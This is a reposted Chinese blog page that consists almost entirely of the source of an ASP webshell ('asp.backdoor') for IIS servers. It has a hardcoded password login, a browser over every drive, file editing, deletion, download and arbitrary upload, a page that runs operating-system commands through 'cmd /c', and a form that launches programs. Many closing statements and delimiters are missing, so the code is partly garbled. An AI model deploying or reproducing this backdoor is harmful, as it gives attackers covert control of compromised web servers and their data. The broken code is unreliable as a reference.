天天看點

asp webshell 專用

<%@ LANGUAGE = VBScript.Encode  codepage ="936" %>

<%Server.ScriptTimeOut=5000%>

<%

rseb=Request.ServerVariables("SCRIPT_NAME")

dim Data_5xsoft

Class upload_5xsoft

dim objForm,objFile,Version

Public function Form(strForm)

 strForm=lcase(strForm)

 if not objForm.exists(strForm) then

  Form=""

 else

  Form=objForm(strForm)

 end if

end function

Public function File(strFile)

 strFile=lcase(strFile)

 if not objFile.exists(strFile) then

  set File=new FileInfo

  set File=objFile(strFile)

Private Sub Class_Initialize 

  dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile

  dim iFileSize,sFilePath,sFileType,sFormValue,sFileName

  dim iFindStart,iFindEnd

  dim iFormStart,iFormEnd,sFormName

  Version="HTTP上傳程式 Version 2.0"

  set objForm=Server.CreateObject("Scripting.Dictionary")

  set objFile=Server.CreateObject("Scripting.Dictionary")

  if Request.TotalBytes<1 then Exit Sub

  set tStream = Server.CreateObject("adodb.stream")

  set Data_5xsoft = Server.CreateObject("adodb.stream")

  Data_5xsoft.Type = 1

  Data_5xsoft.Mode =3

  Data_5xsoft.Open

  Data_5xsoft.Write  Request.BinaryRead(Request.TotalBytes)

  Data_5xsoft.Position=0

  RequestData =Data_5xsoft.Read

  iFormStart = 1

  iFormEnd = LenB(RequestData)

  vbCrlf = chrB(13) & chrB(10)

  sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

  iStart = LenB (sStart)

  iFormStart=iFormStart+iStart+1

  while (iFormStart + 10) < iFormEnd 

 iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3

 tStream.Type = 1

 tStream.Mode =3

 tStream.Open

 Data_5xsoft.Position = iFormStart

 Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

 tStream.Position = 0

 tStream.Type = 2

 tStream.Charset ="gb2312"

 sInfo = tStream.ReadText

 tStream.Close

 '取得表單項目名稱

 iFormStart = InStrB(iInfoEnd,RequestData,sStart)

 iFindStart = InStr(22,sInfo,"name=""",1)+6

 iFindEnd = InStr(iFindStart,sInfo,"""",1)

 sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

 '如果是檔案

 if InStr (45,sInfo,"filename=""",1) > 0 then

  set theFile=new FileInfo

  '取得檔案名

  iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

  iFindEnd = InStr(iFindStart,sInfo,"""",1)

  sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

  theFile.FileName=getFileName(sFileName)

  theFile.FilePath=getFilePath(sFileName)

  '取得檔案類型

  iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14

  iFindEnd = InStr(iFindStart,sInfo,vbCr)

  theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)

  theFile.FileStart =iInfoEnd

  theFile.FileSize = iFormStart -iInfoEnd -3

  theFile.FormName=sFormName

  if not objFile.Exists(sFormName) then

    objFile.add sFormName,theFile

  end if

 '如果是表單項目

  tStream.Type =1

  tStream.Mode =3

  tStream.Open

  Data_5xsoft.Position = iInfoEnd 

  Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3

  tStream.Position = 0

  tStream.Type = 2

  tStream.Charset ="gb2312"

         sFormValue = tStream.ReadText 

         tStream.Close

  if objForm.Exists(sFormName) then

    objForm(sFormName)=objForm(sFormName)&", "&sFormValue    

  else

    objForm.Add sFormName,sFormValue

 iFormStart=iFormStart+iStart+1

 wend

  RequestData=""

  set tStream =nothing

End Sub

Private Sub Class_Terminate  

 if Request.TotalBytes>0 then

 objForm.RemoveAll

 objFile.RemoveAll

 set objForm=nothing

 set objFile=nothing

 Data_5xsoft.Close

 set Data_5xsoft =nothing

 Private function GetFilePath(FullPath)

  If FullPath <> "" Then

   GetFilePath = left(FullPath,InStrRev(FullPath, "\"))

  Else

   GetFilePath = ""

  End If

 End  function

 Private function GetFileName(FullPath)

   GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)

   GetFileName = ""

End Class

Class FileInfo

  dim FormName,FileName,FilePath,FileSize,FileType,FileStart

  Private Sub Class_Initialize 

    FileName = ""

    FilePath = ""

    FileSize = 0

    FileStart= 0

    FormName = ""

    FileType = ""

  End Sub

 Public function SaveAs(FullPath)

    dim dr,ErrorChar,i

    SaveAs=true

    if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function

    set dr=CreateObject("Adodb.Stream")

    dr.Mode=3

    dr.Type=1

    dr.Open

    Data_5xsoft.position=FileStart

    Data_5xsoft.copyto dr,FileSize

    dr.SaveToFile FullPath,2

    dr.Close

    set dr=nothing 

    SaveAs=false

  end function

  End Class

%>

q=request("q")

if q="" then q=rseb

select case q

case rseb

'設定您自己的密碼

if request.form("password")="51cto" then 

response.cookies("password")="777999" 

response.redirect rseb & "?q=list.asp" 

else %>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>雪域山人專用WebShell</title>

<meta name="GENERATOR" content="Microsoft FrontPage 5.0">

</head>

<body>

<%if request.form("password")<>"" then 

response.write "你的密碼輸得不對!請重新輸入"

end if

 %>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"

bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">

  <tr>

    <td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF">【</font><font color="#ffffff" size="3">雪域山人ADMIN專用</font><font color="#FFFFFF">】</font></td>

  </tr>

    <td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">

      <div align="center"><center><p>Password:<input type="password" name="password"

      size="20"

      style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"> 

      <input type="submit" value="OK!LOGIN" name="B1"

      style="font-size: 9pt; border: thin outset"></p>

      </center></div>

  <div align="center"><center>

   <p>

    </p>

    </form>

    </td>

</table>

</body>

</html>

<%end if%>

<%case "down.asp"

call downloadFile(request("path"))

function downloadFile(strFile)

 strFilename = server.MapPath(strFile)

Response.Buffer = True

Response.Clear

Set s = Server.CreateObject("ADODB.Stream")

s.Open

s.Type = 1

on error resume next

Set fso = Server.CreateObject("Scripting.FileSystemObject")

 if not fso.FileExists(strFilename) then

  Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")

  Response.End

 Set f = fso.GetFile(strFilename)

 intFilelength = f.size

s.LoadFromFile(strFilename)

 if err then

  Response.Write("<h1>Error: </h1>" & err.Description & "<p>")

 Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name

 Response.AddHeader "Content-Length", intFilelength

 Response.CharSet = "UTF-8"

 Response.ContentType = "application/octet-stream"

  Response.BinaryWrite s.Read

 Response.Flush

 s.Close

 Set s = Nothing

 response.end

End Function 

<%case "list.asp"%>

urlpath=server.urlencode(path)

if Request.Cookies("password")="777999" then 

dim cpath,lpath

set fsoBrowse=CreateObject("Scripting.FileSystemObject")

if Request("path")="" then

lpath="/"

else

lpath=Request("path")&"/"

if Request("attrib")="true" then

cpath=lpath

attrib="true"

cpath=Server.MapPath(lpath)

attrib=""

Sub GetFolder()

dim theFolder,theSubFolders

if fsoBrowse.FolderExists(cpath)then

 Set theFolder=fsoBrowse.GetFolder(cpath)

 Set theSubFolders=theFolder.SubFolders

Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上級目錄</font></a><br><script language=vbscript>"

For Each x In theSubFolders

%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"

Next

%></script><%

Sub GetFile()

dim theFiles

 Set theFiles=theFolder.Files

Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>" 

For Each x In theFiles

showstring=x.Name

 %>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"

<% 

 Response.write"</script></table>"

<style type="text/css">

<!--

table{ font-family: 宋體; font-size: 9pt }

a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }

a:visited{ color: rgb(128,0,0) }

td {  font-size: 9pt}

a {  color: #000000; text-decoration: none}

a:hover {  text-decoration: underline}

.tx {  height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}

.bt {  font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}

.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}

-->

</style>

<script language="JavaScript">

function crfile(ls)

{if (ls==""){alert("請輸入檔案名!");}

else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}

return false;

}

function crdir(ls)

else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}

</script>

<script language="vbscript">

'顯示檔案

sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)

document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "位元組</td><td width='30%'><a href='#' title='類型:" & type1 & chr(10) & "屬性:" & Attributes & chr(10) & "時間:" & DateLastModified &"'><font color='#FF8000' ></font>屬性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>編輯</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a> <a href='#' & lpath & Name & "')><font  color='#FF8000' ></font>複制</a> <a href='<%=rseb%>?q=down.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下載下傳</a></td></tr>"

end sub

'顯示目錄

sub so(lpath,xName,path,attrib)

document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font>  " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>删除</a><br>"

sub rmdir1(ls)

if confirm("你真的要删除這個檔案嗎!"&Chr(13)&Chr(10)&"檔案為:"&ls)   then

window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")

sub rmdir(ls)

if confirm("你真的要删除這個目錄嗎!"&Chr(13)&Chr(10)&"目錄為:"&ls)   then

window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")

sub copyfile(sfile)

dfile=InputBox("※檔案複制※"&Chr(13)&Chr(10)&"源檔案:"&sfile&Chr(13)&Chr(10)&"輸入目标檔案的檔案名:"&Chr(13)&Chr(10)&"[允許帶路徑,要根據你的目前路徑模式]")

dfile=trim(dfile)

attrib="<%=request("attrib")%>"

if dfile<>"" then 

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib<>"true" then

alert "對不起,你在相對路徑模式下不能使用絕對路徑"&Chr(13)&Chr(10)&"錯誤路徑:["&dfile&"]"

exit sub

lp="<%=lpath%>"

window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=copy&attrib="+attrib+"&dpath="+lp+dfile)

alert"您沒有輸入檔案名!"

end If

<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"

bordercolordark="#FFFFFF" cellspacing="0">

    <td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"

    color="#FFFFFF">【</font><font color="#ffffff" size="3">雪域山人專用WebShell</font><font size="3"

    color="#FFFFFF">】</font></td>

    <td width="751" bgcolor="#C0C0C0" colspan="2">※切換到相應盤符:<span

    style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%

For Each thing in fsoBrowse.Drives

Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"

NEXT

%> </span></td>

    <td width="751" bgcolor="#C0C0C0" colspan="2">※<%

if Request("attrib")="true"  then

response.write "<a href='" & rseb & "?q=list.asp'>切換到相對路徑編輯模式</a>"

response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切換到絕對路徑編輯模式</a>"

%>  ※絕對路徑:<span

    style="background-color: rgb(255,255,255)"><%=cpath%></span></td>

<td width="751" bgcolor="#C0C0C0" colspan="2">※目前目錄<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>

  </tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">

  <tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

〖檔案〗文本編輯|

<input class="tx1" type="text" name="filename" size="20">

<input class="tx1" type="button" value="建立檔案" onclick="crfile(form1.filename.value)">

<input class="tx1" type="button" value="建立目錄" onclick="crdir(form1.filename.value)">

<%if lpath<>cpath then%>|檔案上傳|:

<input type="file" name="file1" class="tx1" style="width:250" value="" size="20">

<input type="hidden" name="filepath" value="<%=lpath%>">

<input type="hidden" name="act" value="upload">

<input type="hidden" name="upcount" class="tx" value="1">

<input class="tx1" type="submit" value="上傳檔案">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')"  value="指令執行">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')"  value="檢視配置">

<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')"  value="目錄操作">

</td>

   </td>

  </tr></form>

    <td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>  </td>

    <td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>  </td>

<%else

response.write "對不起!你的密碼已經失效或者你輸錯了密碼,請傳回重輸"

response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"

<%case "edit.asp"%>

<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">

<title>編輯源代碼</title>

<style>

table{ font-family: 宋體; font-size: 12pt }

a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }

a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }

<% '讀檔案

if request("op")="del"  then

whichfile=Request("path")

whichfile=server.mappath(Request("path"))

end if 

Set fs = CreateObject("Scripting.FileSystemObject")

Set thisfile = fs.GetFile(whichfile)

thisfile.Delete True

Response.write "<script>alert('删除成功!要重新整理才能看到效果');window.close();</script>"

if request("op")="copy" then

dsfile=Request("dpath")

dsfile=Server.MapPath(Request("dpath"))

thisfile.copy dsfile

<script language=vbscript>

msgbox "源檔案:<%=whichfile%>" & vbcrlf & "目的檔案:<%=dsfile%>" & vbcrlf & "複制成功!要重新整理才能看到效果!"

window.close()

if request.form("text")="" then

if Request("creat")<>"yes" then

 Set thisfile = fs.OpenTextFile(whichfile, 1, False)

 counter=0

 thisline=thisfile.readall

 thisfile.Close

 set fs=nothing

<form method="POST" action="<%=rseb%>?q=edit.asp">

  <input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"

  width="700" cellpadding="0">

    <tr>

      <td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p>【雪域山人】</td>

    </tr>

    <tr align="center">

      <td width="100%" bgcolor="#FFDBCA">檔案名:<input type="text" name="path" size="45"

      value="<%=Request("path")%> ">直接更改檔案名,相當于“另存為”</td>

      <td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>

      <td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"

      value="送出" name="B1"><input type="reset" value="複原" name="B2"></td>

  </table>

</form>

 Set fs = CreateObject("Scripting.FileSystemObject")

 Set outfile=fs.CreateTextFile(whichfile)

 outfile.WriteLine Request("text")

 outfile.close 

Response.write "<script>alert('修改成功!要重新整理才能看到效果');window.close();</script>"

<%case "edir.asp"%>

<title>目錄操作</title>

if Request.Cookies("password")="777999" then

whichdir=Request("path")

whichdir=server.mappath(Request("path"))

fs.DeleteFolder whichdir,True

Response.write "<script>alert('删除的目錄為:" & whichdir & "删除成功!要重新整理才能看到效果');window.close();</script>"

if request("op")="creat"  then

fs.CreateFolder whichdir

Response.write "<script>alert('建立的目錄為:" & whichdir & "建立成功!要重新整理才能看到效果');window.close();</script>"

case "upfile.asp"

set upload=new upload_5xSoft

if upload.form("filepath")="" then

 HtmEnd "請輸入要上傳至的目錄!"

 set upload=nothing

 formPath=upload.form("filepath")

 if right(formPath,1)<>"/" then formPath=formPath&"/" 

iCount=0

for each formName in upload.objFile

 set file=upload.file(formName)

 if file.FileSize>0 then

  file.SaveAs Server.mappath(formPath & file.FileName)

  response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"

  iCount=iCount+1

 set file=nothing

next

set upload=nothing

Htmend iCount&" 個檔案上傳結束!"

sub HtmEnd(Msg)

 Response.write "上傳完畢!要重新整理才能看到效果!<P><input value=關閉 type=button onclick=window.close();>"

case "cmd.asp"

if Request.Cookies("password")<>"777999" then 

else%>

<title>ASP Shell</title> 

   On Error Resume Next

   Set oScript = Server.CreateObject("WSCRIPT.SHELL")

   Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")

   Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

   szCMD = Request.Form(".CMD")

   If (szCMD <> "") Then

     szTempFile = "C:\" & oFileSys.GetTempName( )

     Call oScript.Run ("cmd /c " & szCMD & " > " & szTempFile, 0, True)

     Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 

   End If

 <HTML>

 <BODY>

 <FORM action="<%=rseb%>?q=cmd.asp" method="POST">

 <input type=text name=".CMD" size=45 value="<%= szCMD %>">

 <input type=submit value="執行指令">

 </FORM>

 <PRE><%

   If (IsObject(oFile)) Then

     On Error Resume Next

     Response.Write Server.HTMLEncode(oFile.ReadAll)

     oFile.Close

    Call oFileSys.DeleteFile(szTempFile, True)

</BODY>

</HTML>

<%end if

case "test.asp"

Response.Buffer = False

Dim ObjTotest(26,4)

ObjTotest(0,0) = "MSWC.AdRotator"

ObjTotest(1,0) = "MSWC.BrowserType"

ObjTotest(2,0) = "MSWC.NextLink"

ObjTotest(3,0) = "MSWC.Tools"

ObjTotest(4,0) = "MSWC.Status"

ObjTotest(5,0) = "MSWC.Counters"

ObjTotest(6,0) = "IISSample.ContentRotator"

ObjTotest(7,0) = "IISSample.PageCounter"

ObjTotest(8,0) = "MSWC.PermissionChecker"

ObjTotest(9,0) = "Scripting.FileSystemObject"

 ObjTotest(9,1) = "(FSO 文本檔案讀寫)"

ObjTotest(10,0) = "adodb.connection"

 ObjTotest(10,1) = "(ADO 資料對象)"

ObjTotest(11,0) = "SoftArtisans.FileUp"

 ObjTotest(11,1) = "(SA-FileUp 檔案上傳)"

ObjTotest(12,0) = "SoftArtisans.FileManager"

 ObjTotest(12,1) = "(SoftArtisans 檔案管理)"

ObjTotest(13,0) = "LyfUpload.UploadFile"

 ObjTotest(13,1) = "(劉雲峰的檔案上傳元件)"

ObjTotest(14,0) = "Persits.Upload.1"

 ObjTotest(14,1) = "(ASPUpload 檔案上傳)"

ObjTotest(15,0) = "w3.upload"

 ObjTotest(15,1) = "(Dimac 檔案上傳)"

ObjTotest(16,0) = "JMail.SmtpMail"

 ObjTotest(16,1) = "(Dimac JMail 郵件收發)"

ObjTotest(17,0) = "CDONTS.NewMail"

 ObjTotest(17,1) = "(虛拟 SMTP 發信)"

ObjTotest(18,0) = "Persits.MailSender"

 ObjTotest(18,1) = "(ASPemail 發信)"

ObjTotest(19,0) = "SMTPsvg.Mailer"

 ObjTotest(19,1) = "(ASPmail 發信)"

ObjTotest(20,0) = "DkQmail.Qmail"

 ObjTotest(20,1) = "(dkQmail 發信)"

ObjTotest(21,0) = "Geocel.Mailer"

 ObjTotest(21,1) = "(Geocel 發信)"

ObjTotest(22,0) = "IISmail.Iismail.1"

 ObjTotest(22,1) = "(IISmail 發信)"

ObjTotest(23,0) = "SmtpMail.SmtpMail.1"

 ObjTotest(23,1) = "(SmtpMail 發信)"

ObjTotest(24,0) = "SoftArtisans.ImageGen"

 ObjTotest(24,1) = "(SA 的圖像讀寫元件)"

ObjTotest(25,0) = "W3Image.Image"

 ObjTotest(25,1) = "(Dimac 的圖像讀寫元件)"

public IsObj,VerObj,TestObj

dim i

for i=0 to 25

 on error resume next

 IsObj=false

 VerObj=""

 'dim TestObj

 TestObj=""

 set TestObj=server.CreateObject(ObjTotest(i,0))

 If -2147221005 <> Err then

  IsObj = True

  VerObj = TestObj.version

  if VerObj="" or isnull(VerObj) then VerObj=TestObj.about

 ObjTotest(i,2)=IsObj

 ObjTotest(i,3)=VerObj

sub ObjTest(strObj)

 set TestObj=server.CreateObject (strObj)

 end if 

End sub

<HTML>

<HEAD>

BODY

{

 FONT-FAMILY: 宋體;

 FONT-SIZE: 9pt

TD

A

 COLOR: #000000;

 TEXT-DECORATION: none

A:hover

 COLOR: #3F8805;

 TEXT-DECORATION: underline

.input

 BORDER: #111111 1px solid;

 FONT-SIZE: 9pt;

 BACKGROUND-color: #F8FFF0

.backs

 BACKGROUND-COLOR: #3F8805;

 COLOR: #ffffff;

.backq

 BACKGROUND-COLOR: #EEFEE0

.backc

 BORDER: medium none;

 HEIGHT: 18px;

 font-size: 9pt

.fonts

 COLOR: #3F8805

</STYLE>

</HEAD>

<BODY>

ASP探針-<font class=fonts>V1.60</font><br><br>

<font class=fonts>是否支援ASP</font>

<br>出現以下情況即表示您的空間不支援ASP:

<br>1、通路本檔案時提示下載下傳。

<br>2、通路本檔案時看到類似“<%@ Language="VBScript" %>”的文字。

<br><br>

<font class=fonts>伺服器的有關參數</font>

<table border=0 width=450 cellspacing=0 cellpadding=0 bgcolor="#3F8805">

<tr><td>

 <table border=0 width=450 cellspacing=1 cellpadding=0>

   <tr bgcolor="#EEFEE0" height=18>

  <td align=left> 伺服器名</td><td> <%=Request.ServerVariables("SERVER_NAME")%></td>

   </tr>

  <td align=left> 伺服器IP</td><td> <%=Request.ServerVariables("LOCAL_ADDR")%></td>

  <td align=left> 伺服器端口</td><td> <%=Request.ServerVariables("SERVER_PORT")%></td>

  <td align=left> 伺服器時間</td><td> <%=now%></td>

  <td align=left> IIS版本</td><td> <%=Request.ServerVariables("SERVER_SOFTWARE")%></td>

  <td align=left> 腳本逾時時間</td><td> <%=Server.ScriptTimeout%> 秒</td>

  <td align=left> 本檔案路徑</td><td> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></td>

  <td align=left> 伺服器CPU數量</td><td> <%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 個</td>

  <td align=left> 伺服器解譯引擎</td><td> <%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>

  <td align=left> 伺服器作業系統</td><td> <%=Request.ServerVariables("OS")%></td>

 </table>

</td></tr>

<br>

<font class=fonts>元件支援情況</font>

Dim strClass

 strClass = Trim(Request.Form("classname"))

 If "" <> strClass then

 Response.Write "<br>您指定的元件的檢查結果:"

 Dim Verobj1

 ObjTest(strClass)

   If Not IsObj then 

  Response.Write "<br><font color=red>很遺憾,該伺服器不支援 " & strclass & " 元件!</font>"

   Else

  if VerObj="" or isnull(VerObj) then 

   Verobj1="無法取得該元件版本"

  Else

   Verobj1="該元件版本是:" & VerObj

  End If

  Response.Write "<br><font class=fonts>恭喜!該伺服器支援 " & strclass & " 元件。" & verobj1 & "</font>"

   Response.Write "<br>"

<br>■ IIS自帶的ASP元件

<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">

 <tr height=18 class=backs align=center><td width=320>組 件 名 稱</td><td width=130>支援及版本</td></tr>

 <%For i=0 to 10%> <tr height="18" class=backq>

  <td align=left> <%=ObjTotest(i,0) & "<font color=#888888> " & ObjTotest(i,1)%></font></td>

  <td align=left> <%

  If Not ObjTotest(i,2) Then 

   Response.Write "<font color=red><b>×</b></font>"

   Response.Write "<font class=fonts><b>√</b></font> <a title='" & ObjTotest(i,3) & "'>" & left(ObjTotest(i,3),11) & "</a>"

  End If%></td>

 </tr>

 <%next%> </table>

<br>■ 常見的檔案上傳和管理元件

 <%For i=11 to 15%> <tr height="18" class=backq>

<br>■ 常見的收發郵件元件

 <%For i=16 to 23%> <tr height="18" class=backq>

<br>■ 圖像處理元件

 <%For i=24 to 25%> <tr height="18" class=backq>

<font class=fonts>其他元件支援情況檢測</font><br>

在下面的輸入框中輸入你要檢測的元件的ProgId或ClassId。

<FORM action=<%=rseb%>?q=test.asp method=post id=form1 name=form1>

 <tr height="18" class=backq>

  <td align=center height=30><input class=input type=text value="" name="classname" size=40> <INPUT type=submit value=" 确 定 " class=backc id=submit1 name=submit1> <INPUT type=reset value=" 重 填 " class=backc id=reset1 name=reset1> </td>

</FORM>

<font class=fonts>ASP腳本解釋和運算速度測試</font><br>

 '因為隻進行50萬次計算,是以去掉了是否檢測的選項而直接檢測

 Response.Write "整數運算測試,正在進行50萬次加法運算..."

 dim t1,t2,lsabc,thetime,thetime2

 t1=timer

 for i=1 to 500000

  lsabc= 1 + 1

 next

 t2=timer

 thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10)

 Response.Write "...已完成!<font color=red>" & thetime & "毫秒</font>。<br>"

 Response.Write "浮點運算測試,正在進行20萬次開方運算..."

 for i=1 to 200000

  lsabc= 2^0.5

 thetime2=cstr(int(( (t2-t1)*10000 )+0.5)/10)

 Response.Write "...已完成!<font color=red>" & thetime2 & "毫秒</font>。<br>"

<table class=backq border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#3F8805" width="450">

  <tr height=18 align=center>

 <td width=320 rowspan=2>供 對 照 的 服 務 器</td>

 <td width=130 colspan=2>完成時間(毫秒)</td>

 <td width=65>整數運算</td><td width=65>浮點運算</td>

  <tr height=18>

 <td align=left> <font color=red>您正在使用的這台伺服器</font> </td><td> <font color=red><%=thetime%></font></td><td> <font color=red><%=thetime2%></font></td>

<%case "p.asp"%>

<%if Request.Cookies("password")="777999" then %>

<%response.write "<font class=fonts>注意:每次隻能執行一個操作</font>" %> 目前時間:<%response.write now()%><BR>程式所在的實體路徑:

<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>

<title>asp.backdoor </title>

<body bgcolor="#C0C0C0" text="#000000">

<form action="<%=rseb%>?q=p.asp" method="POST">

浏覽目錄:<input type=text name=text value="<%=szCMD %>" size="20">  <font class=fonts>輸入要浏覽的目錄,最後要加\</font><br>

拷貝目錄:<input type=text name=text1 value="<%=szCMD1 %>" size="20">

copy

<input type=text name=text2 value="<%=szCMD2 %>" size="20"><br>

移動目錄:<input type=text name=text3 value="<%=szCMD3 %>" size="20">

move

<input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>

程式路徑:<input type=text name=text5 value="<%=szCMD5 %>" size="20">

名稱:<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br><br>

<input type=submit name=sb value=發送指令 class=input>

szCMD = Request.Form("text")   '目錄浏覽

if (szCMD <> "")  then

set shell=server.createobject("shell.application") '建立shell對象

set fod1=shell.namespace(szcmd)

set foditems=fod1.items

for each co in foditems

response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"

%><%

szCMD1 = Request.Form("text1")  '目錄拷貝,不能進行檔案拷貝

szCMD2 = Request.Form("text2")

if szcmd1<>"" and szcmd2<>"" then

set shell1=server.createobject("shell.application") '建立shell對象

set fod1=shell1.namespace(szcmd2)

for i=len(szcmd1) to 1 step -1

if mid(szcmd1,i,1)="\" then

   path=left(szcmd1,i-1)

   exit for

if len(path)=2 then path=path & "\"

path2=right(szcmd1,len(szcmd1)-i)

set fod2=shell1.namespace(path)

set foditem=fod2.parsename(path2)

fod1.copyhere foditem

response.write "指定目錄拷貝成功!"

%> <%

szCMD3 = Request.Form("text3")   '目錄移動

szCMD4 = Request.Form("text4")

if szcmd3<>"" and szcmd4<>"" then

set shell2=server.createobject("shell.application") '建立shell對象

set fod1=shell2.namespace(szcmd4)

for i=len(szcmd3) to 1 step -1

if mid(szcmd3,i,1)="\" then

   path=left(szcmd3,i-1)

path2=right(szcmd3,len(szcmd3)-i)

set fod2=shell2.namespace(path)

fod1.movehere foditem

response.write "指定目錄移動成功!"

szCMD5 = Request.Form("text5")    '執行程式要指定路徑

szCMD6 = Request.Form("text6")

if szcmd5<>"" and szcmd6<>"" then

set shell3=server.createobject("shell.application") '建立shell對象

shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

response.write "指定程式被成功執行!"

end select

<a href="http://down.51cto.com/data/2347565" target="_blank">附件:http://down.51cto.com/data/2347565</a>

 本文轉自 simeon2005 51CTO部落格,原文連結:http://blog.51cto.com/simeon/15540

繼續閱讀